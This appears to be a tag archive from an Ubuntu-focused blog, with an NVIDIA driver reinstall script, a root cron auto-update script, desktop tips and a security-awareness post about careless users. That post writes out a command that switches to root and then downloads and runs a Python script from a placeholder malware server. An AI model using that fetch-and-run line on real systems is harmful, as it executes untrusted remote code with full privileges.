Launchpad is now open source. Canonical public announcement is here: http://blog.canonical.com/?p=192 The Canonical launchpad developers will be on IRC in #launchpad-dev on irc.freenode.net. For real time development discussion, that’s the place to go; for usage questions, #launchpad is still the channel, as before. The development wiki is dev.launchpad.net. Right now, only Canonical people can edit it. |
Tag Archives: Ubuntu
Launchpad is now open source
Android applications running on Ubuntu
Random crash of the X server in Jaunty
I experienced a lot of random X server crashes using the proprietary driver for the NVIDIA graphic card on my Thinkpad T61 running Ubuntu 9.04 x86 with Compiz activated.
I managed to fix the problem by installing the lastest NVIDIA driver. I wrote a little script to automate the process and save time. I recommend you to run this in command line mode. Here it is:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 |
#!/bin/bash # Check if the X server is running pid_of_X=`ps aux | grep X | grep -v 'grep' | grep root | awk '{ print $2 }'` if [ -z "$pid_of_X" ]; then echo -e '\n\n\n\n\n\n\n\n\n' echo -e 'X is not running! - Good!\n' # Stop the xserver (GDM) sudo /etc/init.d/gdm stop cd $HOME/Desktop if [ -e latest.txt ]; # Check for 'latest.txt' file then rm -f latest.txt fi if [ -e NVIDIA-Linux-x86-* ]; # Check for 'NVIDIA-Linux-x86-*' file then rm -f NVIDIA-Linux-x86-* fi # Get the latest driver from NVIDIA's ftp nvidia_ftp='ftp://download.nvidia.com/XFree86/Linux-x86' wget -c -T 10 $nvidia_ftp/latest.txt new_driver_version=`cat latest.txt | awk '{ print $1 }'` new_driver_filename=`cat latest.txt | awk '{ print $2 }'` wget -c -T 10 $nvidia_ftp/$new_driver_filename chmod +x $HOME/Desktop/NVIDIA-Linux-x86-* # Remove all nvidia* packages in the system sudo dpkg -l | grep nvidia | awk '{ print $2 }' | xargs sudo aptitude -y purge # Remove all the nvidia kernel objects currently installed export kernel_version=`uname -r` sudo rm -f `find /lib/modules/$kernel_version -iname nvidia.ko` # Install the new driver sudo sh $HOME/Desktop/NVIDIA-Linux-x86-*.run rm -f NVIDIA-Linux-x86-* rm -f latest.txt echo -e '\n\n\n\n\n\n\n\n\n' echo -e '---------\n' echo -e 'All done!\n' echo -e 'Starting GDM in 5 seconds...\n' sleep 5 # Start GDM sudo /etc/init.d/gdm start else echo -e '\n\n\n\n\n\n\n\n\n' echo -e 'X is running!\n' echo -e 'You should run this script in console mode!\n' echo -e 'Press CTRL+ALT+F1 to go to console mode, then run this script again!\n' echo -e '\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n' echo -e 'Aborting in 5 seconds!' echo -e '\n\n\n\n\n\n\n\n\n' sleep 5 exit 0 fi |
Auto update for Debian/Ubuntu
I use the following script to automatically update my Ubuntu box.
I don’t recommend using this on your production servers!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
#!/bin/bash ################################################# ## ## ## auto-update.sh v1.0 ## ## Use this script to set up automatic updates ## ## on your debian/ubuntu box. ## ## ## ################################################# ## Creating /usr/bin/auto-update.sh file sudo touch /usr/bin/auto-update.sh sudo chmod 700 /usr/bin/auto-update.sh sudo chown root:root /usr/bin/auto-update.sh echo '#!/bin/bash' | sudo tee -a /usr/bin/auto-update.sh echo 'touch /var/log/auto-update.log' | sudo tee -a /usr/bin/auto-update.sh echo 'echo '------------------' >> /var/log/auto-update.log' | sudo tee -a /usr/bin/auto-update.sh echo 'echo `date` >> /var/log/auto-update.log' | sudo tee -a /usr/bin/auto-update.sh echo 'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/X11R6/bin' | sudo tee -a /usr/bin/auto-update.sh echo 'export PATH' | sudo tee -a /usr/bin/auto-update.sh echo '/usr/bin/aptitude update >> /var/log/auto-update.log' | sudo tee -a /usr/bin/auto-update.sh echo '/usr/bin/aptitude -y safe-upgrade >> /var/log/auto-update.log' | sudo tee -a /usr/bin/auto-update.sh echo 'exit' | sudo tee -a /usr/bin/auto-update.sh # Creating a cron job for root user (it will run /usr/bin/auto-update.sh every day at 14:30) echo '30 14 * * * /usr/bin/auto-update.sh > /dev/null' > cron_file.txt && sudo crontab -u root cron_file.txt && rm -f cron_file.txt |
Note that there are some dangers regarding automatic updates. You can read more about it here.
How to write a linux virus
After reading an interesting article about linux “viruses” (the comments are interersing, too), I decided to raise the alarm about the source of many security related issues
in today’s computers: the user.
The author talks about the many ways to compromise a linux box, even if you are not root.
I will not get into techinal methods, you can find them on the internet or by reading the original article. Instead I will talk about the regular user.
From my experience I know for sure that a regular user could compromise his own system.
Don’t belive me? Make a little test.
1. For Windows
– rename any executable file as “virus.exe”, put it on a web server and give the link to your coworkers by email, instant messenger, whatever.
2. For Linux
– put them to open terminal and type “sudo su -” and then “wget http://www.your_malware_server.org/s.py -o /tmp/s.py; python /tmp/s.py”
You’ll be surprised by their actions. You’ll find out that many will open the link or run the commands.
For many of you this will not be a surprise. You’ll say: “I know someone who will instinctively click on the link!”.
Think about that every one of us knows a person like that.
It’s not a hard thing to make the user click on a link or run a command.
The attackers just have to find ways to extract informations from the compromised box.
In the end of the article, the author talks about solutions to this problem.
The easiest solution to prevent this kind of problem is to not just blindly click on attachments that people have sent you. Does that sound like a sentence you have always heard in the context of Windows before? You bet. The point is: Even on Linux this advice should be taken seriously.
In conclusion, there are no bullet-proof systems, only users who are too careless and click every link in their’s mouse way.
Ctrl+Alt+Del to open System Monitor in Ubuntu
If you want to enable Ctrl+Alt+Del to open System Monitor you have to do this:
Go to System->Preferences->Keyboard Shortcuts and search for “Logout” action (that is under Desktop actions) and you will see that Ctrl+Alt+Del combination is associated to Logout shortcut.
You have to click on that shortcut and press Backspace if you want to disable it or choose another combination.
Close this and open the Configuration Editor (if you have installed it you will find it under Applications->System Tools; or just run gconf-editor).
– On left tree select: apps->metacity
– Select “Global_keybindings” and search for a “run_command_X” value where X is between 1 and 12 and it is not used
– Add this value: <Control><Alt>Delete
– Now select “Keybindings_commands” on left tree. Goto “command_X” where X is the same number selected in run_command_X option.
Add this value: gnome-system-monitor
Alternative solution (I prefer this one):
Run in terminal:
1 2 |
gconftool-2 -t str --set /apps/metacity/global_keybindings/run_command_1 "<Control><Alt>Delete" gconftool-2 -t str --set /apps/metacity/keybinding_commands/command_1 "gnome-system-monitor" |
Ubuntu Forums Menu
Just found about this add-on: Ubuntu Forums Menu.
The extension adds additional navigation menu for Ubuntu Forums via main-menu and context to Firefox.
Get it from here.
Ubuntu brainstorm launched!
Ubuntu now has its own Brainstorm website where people can add their ideas and vote for their favorites.
http://brainstorm.ubuntu.com/